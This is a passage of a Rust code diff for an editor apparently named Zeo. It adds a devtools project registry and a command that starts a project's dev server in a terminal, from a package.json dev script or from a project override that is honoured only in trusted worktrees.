+            .iter()
+            .filter(|(announced, project)| {
+                project.announce_session == session && **announced != root
+            })
+            .map(|(announced, _)| announced.clone())
+            .collect();
+        for announced in moved {
+            self.projects.remove(&announced);
+            log_event(
+                log::Level::Info,
+                "project_removed",
+                &announced,
+                format!("session={session} reason=moved"),
+            );
+        }
+
+        let open = self.is_open(&root);
+        let replaced = self.projects.insert(
+            root.clone(),
+            ConnectedProject {
+                app_url,
+                panel_url,
+                announce_session: session.clone(),
+                open,
+            },
+        );
+        if let Some(older) = replaced.map(|project| project.announce_session)
+            && older != session
+        {
+            browser_channel::end_replaced_session(&older, cx);
+            log_event(
+                log::Level::Info,
+                "announce_replaced",
+                &root,
+                format!("session={older} by={session}"),
+            );
+        }
+
+        send_to(&session, &root, browser_channel::welcome(hello_id, cx), cx);
+        send_to(&session, &root, state_msg(open), cx);
+        log_event(
+            log::Level::Info,
+            "project_announced",
+            &root,
+            format!("session={session} open={open}"),
+        );
+        cx.emit(DevtoolsProjectsEvent::Announced(root));
+    }
+
+    /// Admits the panel `session` of `root` with no approval prompt (Assumption A1), answering
+    /// `welcome` and then the root's state from the worktrees (R7.6).
+    pub fn on_panel_hello(
+        &mut self,
+        session: SessionId,
+        hello_id: Option<String>,
+        root: &Path,
+        cx: &mut Context<Self>,
+    ) {
+        let root = normalized(root);
+        self.refresh(cx);
+        // One session is the panel of one root: a repeated hello naming another root moves it.
+        self.panels.retain(|panel_root, sessions| {
+            if *panel_root != root {
+                sessions.retain(|panel| *panel != session);
+            }
+            !sessions.is_empty()
+        });
+        let sessions = self.panels.entry(root.clone()).or_default();
+        if !sessions.contains(&session) {
+            sessions.push(session.clone());
+        }
+
+        let open = self.is_open(&root);
+        send_to(&session, &root, browser_channel::welcome(hello_id, cx), cx);
+        send_to(&session, &root, state_msg(open), cx);
+        log_event(
+            log::Level::Info,
+            "panel_opened",
+            &root,
+            format!("session={session} open={open}"),
+        );
+    }
+
+    /// Forgets `session`: the project it announced goes (R2.4), unless a newer announce already
+    /// replaced it, and it stops being a panel of its root.
+    pub fn on_session_end(&mut self, session: &SessionId, _cx: &mut Context<Self>) {
+        let announced: Vec<PathBuf> = self
+            .projects
+            .iter()
+            .filter(|(_, project)| project.announce_session == *session)
+            .map(|(root, _)| root.clone())
+            .collect();
+        for root in announced {
+            self.projects.remove(&root);
+            log_event(
+                log::Level::Info,
+                "project_removed",
+                &root,
+                format!("session={session} reason=ended"),
+            );
+        }
+
+        let mut closed_panels = Vec::new();
+        self.panels.retain(|root, sessions| {
+            let before = sessions.len();
+            sessions.retain(|panel| panel != session);
+            if sessions.len() != before {
+                closed_panels.push(root.clone());
+            }
+            !sessions.is_empty()
+        });
+        for root in closed_panels {
+            log_event(
+                log::Level::Info,
+                "panel_closed",
+                &root,
+                format!("session={session}"),
+            );
+        }
+    }
+
+    /// Re-reads the open worktrees and tells every root whose state changed.
+    fn refresh(&mut self, cx: &mut Context<Self>) {
+        let roots = if self.quitting {
+            Vec::new()
+        } else {
+            open_worktree_roots(cx)
+        };
+        self.apply(roots, "worktrees", cx);
+    }
+
+    /// Takes `roots` as the open worktrees, sending `project_open` or `project_closed` to the
+    /// sessions of every root whose state they change, with one log line per root.
+    fn apply(&mut self, roots: Vec<PathBuf>, reason: &str, cx: &mut Context<Self>) {
+        let tracked: BTreeSet<PathBuf> = self
+            .projects
+            .keys()
+            .chain(self.panels.keys())
+            .cloned()
+            .collect();
+        let changed: Vec<(PathBuf, bool)> = tracked
+            .into_iter()
+            .filter_map(|root| {
+                let was_open = holds(&self.worktree_roots, &root);
+                let open = holds(&roots, &root);
+                (was_open != open).then_some((root, open))
+            })
+            .collect();
+        self.worktree_roots = roots;
+
+        for (root, open) in changed {
+            if let Some(project) = self.projects.get_mut(&root) {
+                project.open = open;
+            }
+            let sessions: Vec<SessionId> = self
+                .projects
+                .get(&root)
+                .map(|project| project.announce_session.clone())
+                .into_iter()
+                .chain(self.panels.get(&root).into_iter().flatten().cloned())
+                .collect();
+            for session in &sessions {
+                send_to(session, &root, state_msg(open), cx);
+            }
+            let event = if open {
+                "project_open"
+            } else {
+                "project_closed"
+            };
+            log_event(
+                log::Level::Info,
+                event,
+                &root,
+                format!("sessions={} reason={reason}", sessions.len()),
+            );
+        }
+    }
+}
+
+/// Re-reads the open state once the current update has ended: a window is leased while it is
+/// being updated, and a leased window reads as holding nothing.
+fn schedule_refresh(this: WeakEntity<DevtoolsProjects>, cx: &mut App) {
+    cx.defer(move |cx| {
+        // A registry gone with the app has nobody left to tell.
+        this.update(cx, |this, cx| this.refresh(cx)).ok();
+    });
+}
+
+fn watch_window(
+    this: WeakEntity<DevtoolsProjects>,
+    multi_workspace: &Entity<MultiWorkspace>,
+    cx: &mut App,
+) {
+    cx.subscribe(
+        multi_workspace,
+        move |_, event: &MultiWorkspaceEvent, cx| {
+            if matches!(
+                event,
+                MultiWorkspaceEvent::WorkspaceAdded(_) | MultiWorkspaceEvent::WorkspaceRemoved(_)
+            ) {
+                schedule_refresh(this.clone(), cx);
+            }
+        },
+    )
+    // Released with the window: gpui drops the listeners of a released entity.
+    .detach();
+}
+
+/// A workspace's worktrees are often added after its window opened, by the task that opens the
+/// paths; watching only windows would leave such a root closed.
+fn watch_project(this: WeakEntity<DevtoolsProjects>, project: &Entity<Project>, cx: &mut App) {
+    cx.subscribe(project, move |_, event: &project::Event, cx| {
+        if matches!(
+            event,
+            project::Event::WorktreeAdded(_)
+                | project::Event::WorktreeRemoved(_)
+                | project::Event::WorktreePathsChanged { .. }
+        ) {
+            schedule_refresh(this.clone(), cx);
+        }
+    })
+    // Released with the project.
+    .detach();
+}
+
+/// `root` with its `.` components and trailing separator dropped, so `/p/app/` and `/p/app` are
+/// one root (Assumption A4).
+pub(crate) fn normalized(root: &Path) -> PathBuf {
+    root.components().collect()
+}
+
+/// Whether one of `worktree_roots` holds `root`. Component-wise: `/p/app` holds `/p/app/sub`
+/// but not `/p/app-other`.
+fn holds(worktree_roots: &[PathBuf], root: &Path) -> bool {
+    worktree_roots
+        .iter()
+        .any(|worktree_root| root.starts_with(worktree_root))
+}
+
+fn state_msg(open: bool) -> ServerMsg {
+    if open {
+        ServerMsg::ProjectOpen { v: V2 }
+    } else {
+        ServerMsg::ProjectClosed { v: V2 }
+    }
+}
+
+/// Sends `msg` to `session`. A session that is gone has nothing left to tell: its end is on its
+/// way to [`DevtoolsProjects::on_session_end`].
+fn send_to(session: &SessionId, root: &Path, msg: ServerMsg, cx: &mut App) {
+    let sent = browser_channel::send_to_session(session, msg, cx)
+        .with_context(|| format!("telling session {session} about {}", root.display()));
+    if let Err(error) = sent {
+        // Debug: a session ending while it is being told is the normal way sessions close.
+        log_event(
+            log::Level::Debug,
+            "message_dropped",
+            root,
+            format!("session={session} reason={:?}", format!("{error:#}")),
+        );
+    }
+}
+
+fn log_event(level: log::Level, event: &str, root: &Path, fields: String) {
+    browser_channel::log_line(
+        level,
+        format!(
+            "devtools_projects event={event} root={} {fields}",
+            loggable_root(root)
+        ),
+    );
+}
+
+/// The root as a log value: bare, or quoted when a space, quote or control character would break
+/// the `key=value` form.
+pub(crate) fn loggable_root(root: &Path) -> String {
+    let text = root.to_string_lossy();
+    if text
+        .chars()
+        .any(|char| char.is_whitespace() || char.is_control() || char == '"')
+    {
+        format!("{text:?}")
+    } else {
+        text.into_owned()
+    }
+}
diff --git a/crates/agent_ui/src/devtools_run.rs b/crates/agent_ui/src/devtools_run.rs
new file mode 100644
index 0000000..b1b126a
--- /dev/null
+++ b/crates/agent_ui/src/devtools_run.rs
@@ -0,0 +1,879 @@
+//! `devtools: start` (story 055, design.md §B5): the command it runs for a project root.
+//!
+//! A `devtools.dev_command` override wins when the worktree is trusted (R1.2); otherwise the
+//! root's `package.json` `scripts.dev` runs through the detected package manager (R1.1). The
+//! override is a project file choosing what Zeo executes, so in an untrusted worktree it is
+//! ignored and the operator is told why (R1.3). With neither, nothing runs (R1.4).
+//!
+//! The command runs as a task in a Zeo terminal. This module owns the roots whose dev server Zeo
+//! started and finds their terminals ([`started_by_zeo`]): a second start focuses the running one
+//! (R1.5), `devtools: stop` closes it (R1.7-R1.8), and so does the project's window going away or
+//! Zeo quitting (R7.4), explicitly, since a dropped terminal is not dropped on time (GOTCHA G5).
+//! A server that does not announce itself within 60 s is reported (R1.6).
+//!
+//! Every line logged here is `devtools_run event=<event>` followed by `key=value` fields naming
+//! the root; never the override's text, which a project file wrote.
+
+use std::path::{Path, PathBuf};
+use std::time::Duration;
+
+use anyhow::{Result, bail};
+use collections::HashMap;
+use fs::Fs;
+use futures::channel::oneshot;
+use gpui::{
+    AnyWindowHandle, App, AppContext as _, Context, Entity, Global, Subscription, Task,
+    TaskExt as _, WeakEntity, Window, WindowId, actions,
+};
+use project::trusted_worktrees::TrustedWorktrees;
+use project::{Project, TaskSourceKind, WorktreeId};
+use serde_json::Value;
+use settings::{RegisterSetting, Settings, SettingsContent, SettingsLocation};
+use task::{RevealStrategy, TaskContext, TaskId, TaskTemplate};
+use terminal_view::TerminalView;
+use terminal_view::terminal_panel::TerminalPanel;
+use util::rel_path::RelPath;
+use workspace::notifications::NotificationId;
+use workspace::tasks::ScheduledTaskResult;
+use workspace::{MultiWorkspace, MultiWorkspaceEvent, Pane, SaveIntent, Toast, Workspace};
+
+use crate::browser_channel::log_line;
+use crate::devtools_projects::{
+    DevtoolsProjects, DevtoolsProjectsEvent, loggable_root, normalized,
+};
+
+actions!(
+    devtools,
+    [
+        /// Runs the project's dev server in a terminal, or focuses that terminal when Zeo already
+        /// runs it.
+        Start,
+        /// Stops the dev server Zeo started for the project by closing its terminal.
+        Stop,
+    ]
+);
+
+/// What R1.4 shows when there is nothing to run.
+pub const NO_DEV_SCRIPT: &str = "This project has no dev script";
+/// What R1.6 shows when a dev server Zeo started has not announced itself in time.
+pub const NOT_ANNOUNCED: &str =
+    "The dev server did not connect to Zeo — is @lucascouts/zeo-devtools in its config?";
+/// What R1.8 shows when there is nothing of Zeo's to stop.
+pub const NOTHING_TO_STOP: &str = "No dev server started by Zeo for this project";
+const NO_LOCAL_PROJECT: &str = "Open a local project to start its dev server";
+/// The label of the task, and of its terminal tab.
+pub const TASK_LABEL: &str = "devtools: dev server";
+/// How long a dev server Zeo started has to announce itself (R1.6).
+pub const ANNOUNCE_TIMEOUT: Duration = Duration::from_secs(60);
+
+const UNTRUSTED_OVERRIDE: &str =
+    "devtools.dev_command is ignored because this project is not trusted";
+
+/// The `devtools` settings a project may set; see `DevtoolsSettingsContent`.
+#[derive(Clone, Debug, Default, PartialEq, Eq, RegisterSetting)]
+pub struct DevtoolsSettings {
+    /// Read for a worktree, and honoured only when that worktree is trusted.
+    pub dev_command: Option<String>,
+}
+
+impl Settings for DevtoolsSettings {
+    fn from_settings(content: &SettingsContent) -> Self {
+        let dev_command = content
+            .project
+            .devtools
+            .as_ref()
+            .and_then(|devtools| devtools.dev_command.clone());
+        Self { dev_command }
+    }
+}
+
+/// The command `devtools: start` hands to a terminal.
+#[derive(Clone, Debug, PartialEq, Eq)]
+pub struct ResolvedDevCommand {
+    /// The program, or, with no `args`, a trusted override's whole command line for the shell.
+    pub command: String,
+    pub args: Vec<String>,
+    /// Why a project override was not used, for the operator's notification (R1.3).
+    pub notice: Option<String>,
+}
+
+impl ResolvedDevCommand {
+    pub fn command_line(&self) -> String {
+        std::iter::once(&self.command)
+            .chain(&self.args)
+            .map(String::as_str)
+            .collect::<Vec<_>>()
+            .join(" ")
+    }
+}
+
+/// Resolves what `devtools: start` runs in `root`; the error is the operator-facing reason.
+pub async fn resolve_dev_command(
+    fs: &dyn Fs,
+    root: &Path,
+    dev_command: Option<String>,
+    trusted: bool,
+) -> Result<ResolvedDevCommand> {
+    let dev_command = dev_command.filter(|command| !command.trim().is_empty());
+    let override_ignored = match dev_command {
+        Some(command) if trusted => {
+            return Ok(ResolvedDevCommand {
+                command,
+                args: Vec::new(),
+                notice: None,
+            });
+        }
+        Some(_) => {
+            log::warn!("devtools_run event=override_ignored reason=untrusted root={root:?}");
+            true
+        }
+        None => false,
+    };
+
+    let package_json = match read_package_json(fs, root).await {
+        Some(package_json) if has_dev_script(&package_json) => package_json,
+        _ if override_ignored => bail!("{NO_DEV_SCRIPT}. {UNTRUSTED_OVERRIDE}."),
+        _ => bail!(NO_DEV_SCRIPT),
+    };
+    let package_manager = detect_package_manager(fs, root, &package_json).await;
+    Ok(ResolvedDevCommand {
+        command: package_manager.to_string(),
+        args: vec!["run".to_string(), "dev".to_string()],
+        notice: override_ignored
+            .then(|| format!("{UNTRUSTED_OVERRIDE}: running its dev script instead.")),
+    })
+}
+
+/// The root's `package.json`, or `None` when it is absent, unreadable or not JSON — the last two
+/// logged, since for the operator all three mean "no dev script".
+async fn read_package_json(fs: &dyn Fs, root: &Path) -> Option<Value> {
+    let path = root.join("package.json");
+    if !fs.is_file(&path).await {
+        return None;
+    }
+    let text = fs
+        .load(&path)
+        .await
+        .inspect_err(|error| {
+            log::warn!("devtools_run event=package_json_unreadable root={root:?} error={error:#}")
+        })
+        .ok()?;
+    serde_json::from_str(&text)
+        .inspect_err(|error| {
+            log::warn!("devtools_run event=package_json_invalid root={root:?} error={error}")
+        })
+        .ok()
+}
+
+/// Only `scripts.dev` is the dev script: not `dev:server`, `predev` or a top-level `dev` key.
+fn has_dev_script(package_json: &Value) -> bool {
+    package_json
+        .pointer("/scripts/dev")
+        .and_then(Value::as_str)
+        .is_some_and(|script| !script.trim().is_empty())
+}
+
+/// `languages`' detector is private and knows no bun, hence this one (design.md §B5).
+async fn detect_package_manager(fs: &dyn Fs, root: &Path, package_json: &Value) -> &'static str {
+    // corepack writes `<name>@<version>[+<hash>]`.
+    let declared = package_json
+        .get("packageManager")
+        .and_then(Value::as_str)
+        .map(|field| field.split_once('@').map_or(field, |(name, _)| name));
+    if let Some(name) = declared
+        && let Some(known) = ["bun", "pnpm", "yarn", "npm"]
+            .into_iter()
+            .find(|known| *known == name)
+    {
+        return known;
+    }
+    for (lockfile, package_manager) in [
+        ("bun.lock", "bun"),
+        ("bun.lockb", "bun"),
+        ("pnpm-lock.yaml", "pnpm"),
+        ("yarn.lock", "yarn"),
+    ] {
+        if fs.is_file(&root.join(lockfile)).await {
+            return package_manager;
+        }
+    }
+    "npm"
+}
+
+/// What [`start`] did; the terminal itself appears once the command is resolved.
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+pub enum StartOutcome {
+    /// The command is being resolved, then handed to a new terminal.
+    Starting,
+    /// Zeo already runs this root's dev server: nothing new runs and its terminal is focused (R1.5).
+    FocusedRunning,
+    /// The workspace has no local worktree to run a dev server in.
+    NoLocalProject,
+}
+
+/// The notification ids: one per kind, so a repeat replaces the last one instead of stacking.
+struct StartToast;
+struct NoticeToast;
+struct NotAnnouncedToast;
+struct StopToast;
+
+pub(crate) fn init(cx: &mut App) {
+    cx.observe_new(|workspace: &mut Workspace, _window, _cx| {
+        workspace
+            .register_action(|workspace, _: &Start, window, cx| {
+                start(workspace, window, cx);
+            })
+            .register_action(|workspace, _: &Stop, window, cx| stop(workspace, window, cx));
+    })
+    .detach();
+}
+
+/// `devtools: start` for the workspace's root (R1.1-R1.6).
+pub fn start(
+    workspace: &mut Workspace,
+    window: &mut Window,
+    cx: &mut Context<Workspace>,
+) -> StartOutcome {
+    let Some((root, worktree_id)) = local_root(workspace, cx) else {
+        show_toast(
+            workspace,
+            NotificationId::unique::<StartToast>(),
+            NO_LOCAL_PROJECT,
+            cx,
+        );
+        return StartOutcome::NoLocalProject;
+    };
+    let runs = DevtoolsRuns::global(cx);
+    let running = runs
+        .read(cx)
+        .runs
+        .get(&root)
+        .map(|run| (run.task_id.clone(), run.workspace.clone(), run.window));
+    if let Some((task_id, run_workspace, run_window)) = running {
+        log_event(log::Level::Info, "already_running", &root, String::new());
+        // Still resolving: there is no terminal yet, and none will be added twice.
+        if let Some(task_id) = task_id {
+            focus_terminal(task_id, run_workspace, run_window, cx);
+        }
+        return StartOutcome::FocusedRunning;
+    }
+
+    let location = SettingsLocation {
+        worktree_id,
+        path: RelPath::empty(),
+    };
+    let dev_command = DevtoolsSettings::get(Some(location), cx)
+        .dev_command
+        .clone();
+    let trusted = is_trusted(workspace.project(), worktree_id, cx);
+    let fs = workspace.project().read(cx).fs().clone();
+    let multi_workspace = window.root::<MultiWorkspace>().flatten();
+    let workspace_handle = cx.weak_entity();
+    let run_id = runs.update(cx, |runs, cx| {
+        runs.begin(
+            root.clone(),
+            workspace_handle,
+            window.window_handle(),
+            multi_workspace,
+            cx,
+        )
+    });
+    log_event(log::Level::Info, "start", &root, format!("run={run_id}"));
+
+    // Detached: a stop while resolving removes the run, and `schedule` then finds none.
+    cx.spawn_in(window, {
+        let root = root.clone();
+        let runs = runs.downgrade();
+        async move |workspace, cx| {
+            let resolved = resolve_dev_command(fs.as_ref(), &root, dev_command, trusted).await;
+            let scheduled = workspace.update_in(cx, |workspace, window, cx| match resolved {
+                Ok(resolved) => schedule(workspace, &root, run_id, resolved, window, cx),
+                Err(error) => {
+                    log_event(
+                        log::Level::Info,
+                        "nothing_to_run",
+                        &root,
+                        format!("run={run_id}"),
+                    );
+                    show_toast(
+                        workspace,
+                        NotificationId::unique::<StartToast>(),
+                        format!("{error:#}"),
+                        cx,
+                    );
+                    false
+                }
+            });
+            let scheduled = scheduled.unwrap_or_else(|error| {
+                log_event(
+                    log::Level::Warn,
+                    "start_failed",
+                    &root,
+                    format!("run={run_id} error={:?}", format!("{error:#}")),
+                );
+                false
+            });
+            if !scheduled {
+                runs.update(cx, |runs, _| runs.forget(&root, run_id)).ok();
+            }
+        }
+    })
+    .detach();
+    StartOutcome::Starting
+}
+
+/// `devtools: stop` for the workspace's root: closes the terminal of the dev server Zeo started
+/// (R1.7), or stops nothing and says so (R1.8) — a server the operator started by hand, and its
+/// session, are never touched.
+pub fn stop(workspace: &mut Workspace, _window: &mut Window, cx: &mut Context<Workspace>) {
+    let run = local_root(workspace, cx).and_then(|(root, _)| {
+        let run = DevtoolsRuns::try_global(cx)?.update(cx, |runs, _| runs.runs.remove(&root))?;
+        Some((root, run))
+    });
+    let Some((root, run)) = run else {
+        show_toast(
+            workspace,
+            NotificationId::unique::<StopToast>(),
+            NOTHING_TO_STOP,
+            cx,
+        );
+        return;
+    };
+    log_event(log::Level::Info, "stop", &root, format!("run={}", run.id));
+    // This workspace is being updated, and its terminal may live in it.
+    cx.defer(move |cx| close_terminal(&root, run, cx));
+}
+
+/// Whether Zeo started the dev server of `root` and has not seen it end; Zeo stops only those
+/// with their project (R7.4).
+pub fn started_by_zeo(root: &Path, cx: &App) -> bool {
+    DevtoolsRuns::try_global(cx)
+        .is_some_and(|runs| runs.read(cx).runs.contains_key(&normalized(root)))
+}
+
+/// How the wait for a dev server's announce ended, as [`wait_for_announce`] tells it.
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+pub enum AnnounceWait {
+    /// The server announced its root.
+    Announced,
+    /// [`ANNOUNCE_TIMEOUT`] passed first, and R1.6's message was shown.
+    TimedOut,
+}
+
+/// Waits for the announce of the dev server Zeo started for `root`, on the same deadline as
+/// R1.6's notice, so whoever waits ends exactly when the notice shows (R4.7). The receiver is
+/// cancelled when the run ends without an announce: its command could not be resolved, it was
+/// stopped, or it exited. `None` when Zeo runs no dev server for `root`.
+pub(crate) fn wait_for_announce(
+    root: &Path,
+    cx: &mut App,
+) -> Option<oneshot::Receiver<AnnounceWait>> {
+    DevtoolsRuns::try_global(cx)?.update(cx, |runs, cx| runs.wait(&normalized(root), cx))
+}
+
+/// R1.6's timer for run `id` of `root`.
+fn announce_timer(root: &Path, id: u64, cx: &mut Context<DevtoolsRuns>) -> Task<()> {
+    cx.spawn({
+        let root = root.to_path_buf();
+        async move |this, cx| {
+            cx.background_executor().timer(ANNOUNCE_TIMEOUT).await;
+            this.update(cx, |runs, cx| runs.timed_out(&root, id, cx))
+                .ok();
+        }
+    })
+}
+
+/// Hands the resolved command to a new terminal; `false` when nothing was scheduled.
+fn schedule(
+    workspace: &mut Workspace,
+    root: &Path,
+    run_id: u64,
+    resolved: ResolvedDevCommand,
+    window: &mut Window,
+    cx: &mut Context<Workspace>,
+) -> bool {
+    let Some(runs) = DevtoolsRuns::try_global(cx) else {
+        return false;
+    };
+    // Stopped while the command was being resolved.
+    if runs.read(cx).run(root, run_id).is_none() {
+        return false;
+    }
+    if let Some(notice) = resolved.notice {
+        show_toast(
+            workspace,
+            NotificationId::unique::<NoticeToast>(),
+            notice,
+            cx,
+        );
+    }
+    let template = TaskTemplate {
+        label: TASK_LABEL.to_string(),
+        command: resolved.command,
+        args: resolved.args,
+        use_new_terminal: true,
+        allow_concurrent_runs: false,
+        reveal: RevealStrategy::NoFocus,
+        ..TaskTemplate::default()
+    };
+    // The cwd goes through the context, not the template, so a root holding `$ZED_` text is a
+    // path and not a variable to substitute.
+    let task_context = TaskContext {
+        cwd: Some(root.to_path_buf()),
+        ..TaskContext::default()
+    };
+    // The root in the id base keeps two roots running the same command apart.
+    let id_base = format!("devtools_dev_server_{}", root.display());
+    let Some(task) = template.resolve_task(&id_base, &task_context) else {
+        // A trusted override naming an unknown `$ZED_` variable.
+        log_event(
+            log::Level::Warn,
+            "unresolvable",
+            root,
+            format!("run={run_id}"),
+        );
+        show_toast(
+            workspace,
+            NotificationId::unique::<StartToast>(),
+            "devtools.dev_command uses a variable Zeo does not know",
+            cx,
+        );
+        return false;
+    };
+    let task_id = task.id.clone();
+    let on_complete = {
+        let root = root.to_path_buf();
+        let runs = runs.downgrade();
+        move |result: ScheduledTaskResult, cx: &mut gpui::AsyncWindowContext| {
+            runs.update(cx, |runs, _| runs.on_exit(&root, run_id, result))
+                .ok();
+        }
+    };
+    workspace.schedule_resolved_task_with_completion(
+        TaskSourceKind::UserInput,
+        task,
+        true,
+        on_complete,
+        window,
+        cx,
+    );
+    runs.update(cx, |runs, cx| runs.scheduled(root, run_id, task_id, cx));
+    true
+}
+
+/// The roots whose dev server Zeo started, with their terminals (design.md §B5); B2's registry
+/// of connected projects never holds this.
+struct DevtoolsRuns {
+    runs: HashMap<PathBuf, Run>,
+    next_run: u64,
+    /// Set once Zeo quits, when every run has been stopped already.
+    quitting: bool,
+    _subscriptions: Vec<Subscription>,
+}
+
+/// A dev server Zeo started for one root.
+struct Run {
+    id: u64,
+    workspace: WeakEntity<Workspace>,
+    window: AnyWindowHandle,
+    /// The task handed to the terminal, which finds its terminal; `None` while resolving.
+    task_id: Option<TaskId>,
+    /// R1.6's timer, dropped by the root's announce.
+    timeout: Option<Task<()>>,
+    /// Who awaits this server's announce ([`wait_for_announce`]); dropped with the run, which
+    /// tells them it ended without one.
+    waiters: Vec<oneshot::Sender<AnnounceWait>>,
+    _workspace_removed: Option<Subscription>,
+}
+
+struct GlobalDevtoolsRuns(Entity<DevtoolsRuns>);
+
+impl Global for GlobalDevtoolsRuns {}
+
+impl DevtoolsRuns {
+    fn global(cx: &mut App) -> Entity<Self> {
+        if let Some(global) = cx.try_global::<GlobalDevtoolsRuns>() {
+            return global.0.clone();
+        }
+        let runs = cx.new(Self::new);
+        cx.set_global(GlobalDevtoolsRuns(runs.clone()));
+        runs
+    }
+
+    fn try_global(cx: &App) -> Option<Entity<Self>> {
+        cx.try_global::<GlobalDevtoolsRuns>()
+            .map(|global| global.0.clone())
+    }
+
+    fn new(cx: &mut Context<Self>) -> Self {
+        let this = cx.weak_entity();
+        // `on_window_closed` fires once the window is gone, so it cannot be updated; its
+        // terminals are killed through their entities (GOTCHA G15).
+        let closed_windows = cx.on_window_closed({
+            let this = this.clone();
+            move |cx, window_id| {
+                this.update(cx, |runs, cx| runs.window_closed(window_id, cx))
+                    .ok();
+            }
+        });
+        // Quit observers run before the windows are cleared, so the terminals are still there.
+        let quit = cx.on_app_quit(|runs, cx| {
+            runs.quitting = true;
+            for (root, run) in std::mem::take(&mut runs.runs) {
+                log_event(
+                    log::Level::Info,
+                    "stop",
+                    &root,
+                    format!("run={} reason=quit", run.id),
+                );
+                close_terminal(&root, run, cx);
+            }
+            async {}
+        });
+        subscribe_to_announces(this, cx);
+        Self {
+            runs: HashMap::default(),
+            next_run: 0,
+            quitting: false,
+            _subscriptions: vec![closed_windows, quit],
+        }
+    }
+
+    fn begin(
+        &mut self,
+        root: PathBuf,
+        workspace: WeakEntity<Workspace>,
+        window: AnyWindowHandle,
+        multi_workspace: Option<Entity<MultiWorkspace>>,
+        cx: &mut Context<Self>,
+    ) -> u64 {
+        self.next_run += 1;
+        let id = self.next_run;
+        let workspace_id = workspace.entity_id();
+        let workspace_removed = multi_workspace.map(|multi_workspace| {
+            let root = root.clone();
+            cx.subscribe(&multi_workspace, move |runs, _, event, cx| {
+                if let MultiWorkspaceEvent::WorkspaceRemoved(removed) = event
+                    && *removed == workspace_id
+                {
+                    runs.end(&root, id, "workspace_removed", cx);
+                }
+            })
+        });
+        self.runs.insert(
+            root,
+            Run {
+                id,
+                workspace,
+                window,
+                task_id: None,
+                timeout: None,
+                waiters: Vec::new(),
+                _workspace_removed: workspace_removed,
+            },
+        );
+        id
+    }
+
+    fn run(&self, root: &Path, id: u64) -> Option<&Run> {
+        self.runs.get(root).filter(|run| run.id == id)
+    }
+
+    fn run_mut(&mut self, root: &Path, id: u64) -> Option<&mut Run> {
+        self.runs.get_mut(root).filter(|run| run.id == id)
+    }
+
+    /// Forgets run `id` of `root`, never a newer run of the same root.
+    fn forget(&mut self, root: &Path, id: u64) -> Option<Run> {
+        self.run(root, id)?;
+        self.runs.remove(root)
+    }
+
+    /// The task is in a terminal: R1.6's timer starts.
+    fn scheduled(&mut self, root: &Path, id: u64, task_id: TaskId, cx: &mut Context<Self>) {
+        let timeout = announce_timer(root, id, cx);
+        if let Some(run) = self.run_mut(root, id) {
+            run.task_id = Some(task_id);
+            run.timeout = Some(timeout);
+        }
+    }
+
+    /// Registers a waiter for `root`'s announce; `None` when Zeo runs no dev server there.
+    fn wait(
+        &mut self,
+        root: &Path,
+        cx: &mut Context<Self>,
+    ) -> Option<oneshot::Receiver<AnnounceWait>> {
+        let run = self.runs.get_mut(root)?;
+        let (waiter, wait) = oneshot::channel();
+        run.waiters.push(waiter);
+        // Its timer already ran out, and R1.6 was shown: this wait gets a deadline of its own,
+        // on the same timer, so the notice and the waiter still end together.
+        if run.task_id.is_some() && run.timeout.is_none() {
+            log_event(
+                log::Level::Info,
+                "wait_rearmed",
+                root,
+                format!("run={}", run.id),
+            );
+            run.timeout = Some(announce_timer(root, run.id, cx));
+        }
+        Some(wait)
+    }
+
+    fn timed_out(&mut self, root: &Path, id: u64, cx: &mut Context<Self>) {
+        let Some(run) = self.run_mut(root, id) else {
+            return;
+        };
+        run.timeout = None;
+        log_event(log::Level::Warn, "not_announced", root, format!("run={id}"));
+        for waiter in run.waiters.drain(..) {
+            waiter.send(AnnounceWait::TimedOut).ok();
+        }
+        // The terminal stays open (R1.6): the operator reads why there.
+        if let Some(workspace) = run.workspace.upgrade() {
+            workspace.update(cx, |workspace, cx| {
+                show_toast(
+                    workspace,
+                    NotificationId::unique::<NotAnnouncedToast>(),
+                    NOT_ANNOUNCED,
+                    cx,
+                )
+            });
+        }
+    }
+
+    fn announced(&mut self, root: &Path) {
+        let Some(run) = self.runs.get_mut(&normalized(root)) else {
+            return;
+        };
+        if run.timeout.take().is_some() {
+            log_event(
+                log::Level::Info,
+                "announced",
+                root,
+                format!("run={}", run.id),
+            );
+        }
+        for waiter in run.waiters.drain(..) {
+            waiter.send(AnnounceWait::Announced).ok();
+        }
+    }
+
+    /// The dev server ended on its own, or its terminal was closed by hand.
+    fn on_exit(&mut self, root: &Path, id: u64, result: ScheduledTaskResult) {
+        if self.forget(root, id).is_some() {
+            log_event(
+                log::Level::Info,
+                "exited",
+                root,
+                format!("run={id} result={result:?}"),
+            );
+        }
+    }
+
+    /// Stops run `id` of `root` because its project went away (R7.4).
+    fn end(&mut self, root: &Path, id: u64, reason: &str, cx: &mut App) {
+        if let Some(run) = self.forget(root, id) {
+            log_event(
+                log::Level::Info,
+                "stop",
+                root,
+                format!("run={id} reason={reason}"),
+            );
+            close_terminal(root, run, cx);
+        }
+    }
+
+    fn window_closed(&mut self, window_id: WindowId, cx: &mut App) {
+        if self.quitting {
+            return;
+        }
+        let closed: Vec<(PathBuf, u64)> = self
+            .runs
+            .iter()
+            .filter(|(_, run)| run.window.window_id() == window_id)
+            .map(|(root, run)| (root.clone(), run.id))
+            .collect();
+        for (root, id) in closed {
+            self.end(&root, id, "window_closed", cx);
+        }
+    }
+}
+
+/// Cancels R1.6's timer when the root announces. The connected projects registry reads every
+/// window when it is created, which a window being updated hides, so creating it waits for the
+/// top level.
+fn subscribe_to_announces(this: WeakEntity<DevtoolsRuns>, cx: &mut App) {
+    let subscribe = move |projects: Entity<DevtoolsProjects>, cx: &mut App| {
+        this.update(cx, |runs, cx| {
+            let subscription = cx.subscribe(&projects, |runs, _, event, _| match event {
+                DevtoolsProjectsEvent::Announced(root) => runs.announced(root),
+            });
+            runs._subscriptions.push(subscription);
+        })
+        .ok();
+    };
+    match DevtoolsProjects::try_global(cx) {
+        Some(projects) => subscribe(projects, cx),
+        None => cx.defer(move |cx| {
+            let projects = DevtoolsProjects::global(cx);
+            subscribe(projects, cx);
+        }),
+    }
+}
+
+/// The workspace's first visible local worktree: its root and id.
+pub(crate) fn local_root(workspace: &Workspace, cx: &App) -> Option<(PathBuf, WorktreeId)> {
+    let project = workspace.project().read(cx);
+    if !project.is_local() {
+        return None;
+    }
+    let worktree = project.visible_worktrees(cx).next()?.read(cx);
+    Some((normalized(&worktree.abs_path()), worktree.id()))
+}
+
+/// Without a trust store nothing is restricted, as for the agent's project skills.
